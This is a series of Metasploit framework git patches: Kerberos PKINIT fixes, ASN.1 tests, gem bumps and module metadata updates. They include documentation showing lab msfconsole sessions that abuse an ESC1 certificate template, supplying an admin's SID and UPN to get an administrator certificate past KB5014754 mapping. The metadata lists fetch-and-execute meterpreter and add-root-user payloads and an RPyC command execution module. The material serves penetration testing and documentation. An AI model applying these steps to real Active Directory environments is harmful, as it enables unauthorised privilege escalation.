Tue, 6 Jun 2023 16:56:49 -0400 Subject: [PATCH 407/415] Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT --- lib/msf/core/exploit/remote/kerberos/client/as_request.rb | 2 +- lib/msf/core/exploit/remote/kerberos/client/pkinit.rb | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb index ef5712c77de13..6eb82cb2c6423 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb @@ -85,7 +85,7 @@ def build_as_request_body(opts = {}) from = opts.fetch(:from) { Time.at(0).utc } till = opts.fetch(:till) { Time.at(0).utc } rtime = opts.fetch(:rtime) { Time.at(0).utc } - nonce = opts.fetch(:nonce) { Rex::Text.rand_text_numeric(6).to_i } + nonce = opts.fetch(:nonce) { rand(1 << 24) } etype = opts.fetch(:etype) { Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes } cname = opts.fetch(:cname) { build_client_name(opts) } realm = opts.fetch(:realm) { '' } diff --git a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb index 1eabb3abab101..e28df241d4ec8 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb @@ -29,7 +29,7 @@ def build_dh dh = OpenSSL::PKey::DH.new( OpenSSL::ASN1::Sequence([ OpenSSL::ASN1::Integer(prime_modulus), - OpenSSL::ASN1::Integer(2), + OpenSSL::ASN1::Integer(2) ]).to_der ) if OpenSSL::PKey.respond_to?(:generate_key) @@ -195,9 +195,7 @@ def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts) ctime = opts.fetch(:ctime) { now_ctime } cusec = opts.fetch(:cusec) { now_time&.usec || 0 } nonce = opts.fetch(:nonce) { rand(1 << 31) } - # Request body needs to be tagged prior to encoding - request_body = OpenSSL::ASN1::ASN1Data.new([request_body.encode], 4, :CONTEXT_SPECIFIC) - data = request_body.to_der + data = request_body.encode checksum = Digest::SHA1.digest(data) pub_key_encoded = RASN1::Types::Integer.new(value: dh.pub_key.to_i).to_der auth_pack = Rex::Proto::Kerberos::Model::Pkinit::AuthPack.new( From ae4faca1ba30211ebf44ddd69b28d27fec2ad54b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 8 Jun 2023 11:49:57 -0400 Subject: [PATCH 408/415] Update module docs to discuss KB5014754 changes --- .../Attacking-AD-CS-ESC-Vulnerabilities.md | 9 ++++-- .../auxiliary/admin/dcerpc/icpr_cert.md | 31 ++++++++++++++++--- 2 files changed, 33 insertions(+), 7 deletions(-) diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 9283f510ff1d0..a0ce7ccd6baba 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -335,9 +335,9 @@ With this we now have a list of certificates that can be utilized for privilege # Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. -Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we -would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why -we can do this here. +Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to +specify who we would like to authenticate as instead. Note that this only works with certificate templates that are +vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set. If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up: @@ -356,6 +356,8 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run @@ -363,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. +[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx [*] Auxiliary module execution completed diff --git a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md index 0720e90cc2d7a..07b89adf068e0 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md +++ b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md @@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User". ### ALT_DNS Alternative DNS name to specify in the certificate. Useful in certain attack scenarios. +### ALT_SID +Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target +where the [KB5014754][KB5014754] patch has been applied. + +See the following resources for more information. + +* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 +* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d + ### ALT_UPN Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the format `$username@$dnsDomainName`. @@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > ### Issue A Certificate With A Specific subjectAltName (AKA ESC1) In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a -different UPN effectively issues a certificate that can be used to authenticate as another user. +different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server +has the [KB5014754][KB5014754] patch applied and the REG_DWORD +`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the +account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value +of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the +issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the +SID is not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`. The user must know: * A vulnerable certificate template, in this case `ESC1-Test`. +* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000` * The UPN of a target account, in this case `smcintyre@msflab.local`. See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more @@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test CERT_TEMPLATE => ESC1-Test +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local ALT_UPN => smcintyre@msflab.local +msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true +VERBOSE => true msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol [*] 192.168.159.10:445 - Binding to \cert... [+] 192.168.159.10:445 - Bound to \cert -[*] 192.168.159.10:445 - Requesting a certificate... +[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test [+] 192.168.159.10:445 - The requested certificate was issued. +[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local -[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx +[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2) @@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` + +[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 From 182380151033c6926ef3fff5fbe802a5537f4a3b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Jun 2023 09:27:35 -0400 Subject: [PATCH 409/415] Add some tests for NtdsCaSecurityExt --- spec/lib/rex/proto/crypto_asn1_spec.rb | 41 ++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 spec/lib/rex/proto/crypto_asn1_spec.rb diff --git a/spec/lib/rex/proto/crypto_asn1_spec.rb b/spec/lib/rex/proto/crypto_asn1_spec.rb new file mode 100644 index 0000000000000..7c69dcee8e1c4 --- /dev/null +++ b/spec/lib/rex/proto/crypto_asn1_spec.rb @@ -0,0 +1,41 @@ +# -*- coding:binary -*- +require 'spec_helper' + +RSpec.describe Rex::Proto::CryptoAsn1::NtdsCaSecurityExt do + let(:encoded) do + "\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" + + "\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" + + "\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" + + "\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35" + end + + describe '.parse' do + let(:decoded) { described_class.parse(encoded) } + + it 'decodes OtherName correctly' do + expect(decoded[:OtherName]).to be_a RASN1::Model + end + + it 'decodes type_id correctly' do + type_id = decoded[:OtherName][:type_id] + expect(type_id).to be_a RASN1::Types::ObjectId + expect(type_id.value).to eq '1.3.6.1.4.1.311.25.2.1' + end + + it 'decodes value correctly' do + value = decoded[:OtherName][:value] + expect(value).to be_a RASN1::Types::OctetString + expect(value.value).to eq 'S-1-5-21-3402587289-1488798532-3618296993-1105' + end + end + + describe '#to_der' do + it 'encodes correctly' do + instance = described_class.new(OtherName: { + type_id: '1.3.6.1.4.1.311.25.2.1', + value: 'S-1-5-21-3402587289-1488798532-3618296993-1105' + }) + expect(instance.to_der).to eq encoded + end + end +end From e7bbd34e0d18270e345f9c4d50e42d917aed44b8 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 14 Jun 2023 17:53:56 -0500 Subject: [PATCH 410/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 41 +++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 93c886187912d..69316ef9d78e5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -35027,6 +35027,47 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/rpyc_rce": { + "name": "RPyC 4.1.0 through 4.1.1 Remote Command Execution", + "fullname": "auxiliary/scanner/http/rpyc_rce", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-02-19", + "type": "auxiliary", + "author": [ + "Aaron Meese <@ajmeese7>", + "Jamie Hill-Daniel <@clubby789>" + ], + "description": "This module allows remote command execution on RPyC versions 4.1.0 and 4.1.1.\n You will be able to execute a specified command on the target machine as\n the user running the RPyC service and view the output.", + "references": [ + "CVE-2019-16328", + "URL-https://github.com/advisories/GHSA-pj4g-4488-wmxm", + "URL-https://gist.github.com/clubby789/b681e7a40da070713c3760953d8df1c3" + ], + "platform": "", + "arch": "", + "rport": 18812, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-03-09 15:55:51 +0000", + "path": "/modules/auxiliary/scanner/http/rpyc_rce.py", + "is_install_path": true, + "ref_name": "scanner/http/rpyc_rce", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/s40_traversal": { "name": "S40 0.4.2 CMS Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/s40_traversal", From 8f11798f5f8fa1ed3d8740fef97c38b90a81d91a Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 15 Jun 2023 11:55:42 +0100 Subject: [PATCH 411/415] Update unknown windows errors on python meterpreter to include hex error code --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d7cbfa8315d51..d180dd0af59dc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.140) + metasploit-payloads (= 2.0.141) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.140) + metasploit-payloads (2.0.141) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index cbaf34fd821bf..1bb5f50c0fc6b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.140' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.141' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From 63abeb331d4afb1d35b84616aa5d95a7e3aeeacf Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 15 Jun 2023 08:46:45 -0500 Subject: [PATCH 412/415] Remove default value --- lib/msf/core/payload/adapter/fetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 0250ce393ee68..0699b2b6648a7 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -7,7 +7,7 @@ def initialize(*args) Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), - Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]), + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload']), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) ] From c1688909029b4308e6c01c6acc29c3cd6c212f03 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 15 Jun 2023 09:28:15 -0500 Subject: [PATCH 413/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 5014 ++++++++++++++++++++++++++++++--- 1 file changed, 4628 insertions(+), 386 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 69316ef9d78e5..0079aeaa4dcac 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -178511,9 +178511,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", + "payload_cmd/linux/http/x86/adduser": { + "name": "HTTP Fetch, Linux Add User", + "fullname": "payload/cmd/linux/http/x86/adduser", "aliases": [ ], @@ -178523,11 +178523,11 @@ "author": [ "Brendan Watters", "Spencer McIntyre", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "skape ", + "vlad902 ", + "spoonm " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nCreate a new user with UID 0", "references": [ ], @@ -178537,21 +178537,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_http", + "ref_name": "cmd/linux/http/x86/adduser", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", + "payload_cmd/linux/http/x86/chmod": { + "name": "HTTP Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/http/x86/chmod", "aliases": [ ], @@ -178561,11 +178561,9 @@ "author": [ "Brendan Watters", "Spencer McIntyre", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "kris katterjohn " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nRuns chmod on specified file with specified mode", "references": [ ], @@ -178575,10 +178573,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_https", + "ref_name": "cmd/linux/http/x86/chmod", "check": false, "post_auth": false, "default_credential": false, @@ -178587,9 +178585,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", + "payload_cmd/linux/http/x86/exec": { + "name": "HTTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/http/x86/exec", "aliases": [ ], @@ -178599,13 +178597,13 @@ "author": [ "Brendan Watters", "Spencer McIntyre", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "vlad902 ", + "Geyslan G. Bem " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ - + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" ], "platform": "Linux", "arch": "cmd", @@ -178613,10 +178611,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/http/x86/exec", "check": false, "post_auth": false, "default_credential": false, @@ -178625,9 +178623,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/exec": { - "name": "HTTPS Fetch, Linux Execute Command", - "fullname": "payload/cmd/linux/https/x64/exec", + "payload_cmd/linux/http/x86/generic/debug_trap": { + "name": "HTTP Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/http/x86/generic/debug_trap", "aliases": [ ], @@ -178636,23 +178634,23 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "Geyslan G. Bem " + "Spencer McIntyre", + "robert " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", + "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a debug trap in the target process", "references": [ ], - "platform": "Linux", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/exec", + "ref_name": "cmd/linux/http/x86/generic/debug_trap", "check": false, "post_auth": false, "default_credential": false, @@ -178661,9 +178659,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { - "name": "HTTPS Fetch, Bind TCP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", + "payload_cmd/linux/http/x86/generic/tight_loop": { + "name": "HTTP Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/http/x86/generic/tight_loop", "aliases": [ ], @@ -178672,23 +178670,23 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky" + "Spencer McIntyre", + "jduck " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", + "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a tight loop in the target process", "references": [ ], - "platform": "Linux,Linux", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", + "ref_name": "cmd/linux/http/x86/generic/tight_loop", "check": false, "post_auth": false, "default_credential": false, @@ -178697,9 +178695,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { - "name": "HTTPS Fetch, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", + "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": { + "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -178708,10 +178706,12 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "RageLtMan " + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection (Linux x86)", "references": [ ], @@ -178721,10 +178721,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178733,9 +178733,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { - "name": "HTTPS Fetch, Reverse TCP Stager", - "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -178744,11 +178744,13 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky", - "tkmru" + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], @@ -178758,10 +178760,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -178770,9 +178772,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter_reverse_http": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", + "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": { + "name": "HTTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_nonx_tcp", "aliases": [ ], @@ -178781,24 +178783,24 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "William Webb ", + "skape " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter_reverse_http", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178807,9 +178809,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter_reverse_https": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", + "payload_cmd/linux/http/x86/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp", "aliases": [ ], @@ -178818,24 +178820,25 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection (Linux x86)", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter_reverse_https", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178844,9 +178847,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { - "name": "HTTPS Fetch", - "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -178855,24 +178858,26 @@ "type": "payload", "author": [ "Brendan Watters", - "Adam Cammack ", - "Brent Cook ", - "timwr" + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", 